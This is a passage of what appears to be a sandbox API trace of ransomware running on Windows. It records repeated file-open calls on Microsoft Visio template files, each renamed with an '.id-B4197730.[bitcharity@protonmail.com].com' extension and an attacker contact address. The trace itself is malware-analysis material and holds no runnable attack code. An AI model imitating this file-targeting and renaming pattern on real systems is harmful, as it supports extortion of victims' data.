content\\1033\\shpstr_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.526] CloseHandle (hObject=0x11bc) returned 1 [0277.527] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.527] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHPSTR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\shpstr_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.527] CloseHandle (hObject=0x11bc) returned 1 [0277.528] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.528] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SIMPLE_WORKFLOW_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\simple_workflow_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.528] CloseHandle (hObject=0x11bc) returned 1 [0277.529] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.529] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SIMPLE_WORKFLOW_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\simple_workflow_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.530] CloseHandle (hObject=0x11bc) returned 1 [0277.531] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.531] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SITACC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sitacc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.531] CloseHandle (hObject=0x11bc) returned 1 [0277.532] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.532] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SITACC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sitacc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.533] CloseHandle (hObject=0x11bc) returned 1 [0277.534] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.534] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SITACC_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sitacc_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.534] CloseHandle (hObject=0x11bc) returned 1 [0277.535] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.536] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SITACC_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sitacc_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.536] CloseHandle (hObject=0x11bc) returned 1 [0277.537] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.538] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SITPLN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sitpln_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.538] CloseHandle (hObject=0x11bc) returned 1 [0277.539] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.539] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SITPLN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sitpln_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.540] CloseHandle (hObject=0x11bc) returned 1 [0277.541] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.541] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SIXSIG_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sixsig_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.541] CloseHandle (hObject=0x11bc) returned 1 [0278.249] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.249] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SIXSIG_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sixsig_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.250] CloseHandle (hObject=0x10c0) returned 1 [0278.250] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.251] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SUBTASKS_GANTTCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\subtasks_ganttchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.251] CloseHandle (hObject=0x10c0) returned 1 [0278.254] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.254] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SUBTASKS_GANTTCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\subtasks_ganttchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.254] CloseHandle (hObject=0x10c0) returned 1 [0278.255] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.255] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SYMBOL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\symbol_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.255] CloseHandle (hObject=0x10c0) returned 1 [0278.256] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.256] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SYMBOL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\symbol_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.256] CloseHandle (hObject=0x10c0) returned 1 [0278.257] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.257] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\Theme_m.vssx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\theme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.257] CloseHandle (hObject=0x10c0) returned 1 [0278.258] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.258] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\Theme_u.vssx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\theme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.258] CloseHandle (hObject=0x10c0) returned 1 [0278.259] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.259] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELINE.MPP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeline.mpp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.259] CloseHandle (hObject=0x10c0) returned 1 [0278.260] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.260] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_CYLINDRICAL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_cylindrical_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.260] CloseHandle (hObject=0x10c0) returned 1 [0278.261] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.262] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_CYLINDRICAL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_cylindrical_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.262] CloseHandle (hObject=0x10c0) returned 1 [0278.262] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.263] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_EXPANDEDBLOCK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_expandedblock_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.263] CloseHandle (hObject=0x10c0) returned 1 [0278.263] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.264] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_EXPANDEDBLOCK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_expandedblock_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.264] CloseHandle (hObject=0x10c0) returned 1 [0278.265] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.265] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.265] CloseHandle (hObject=0x10c0) returned 1 [0278.266] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.266] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.266] CloseHandle (hObject=0x10c0) returned 1 [0278.267] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.267] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.267] CloseHandle (hObject=0x10c0) returned 1 [0278.268] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.268] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.268] CloseHandle (hObject=0x10c0) returned 1 [0278.270] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.270] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_VERTICALBLOCK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_verticalblock_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.270] CloseHandle (hObject=0x10c0) returned 1 [0278.271] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.271] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TIMELN_VERTICALBLOCK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\timeln_verticalblock_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.271] CloseHandle (hObject=0x10c0) returned 1 [0278.272] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.272] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TITLE_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\title_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.272] CloseHandle (hObject=0x10c0) returned 1 [0278.273] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.273] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TITLE_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\title_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.274] CloseHandle (hObject=0x10c0) returned 1 [0278.274] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.274] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TQM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\tqm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.275] CloseHandle (hObject=0x10c0) returned 1 [0278.275] SetFilePointerEx (in: 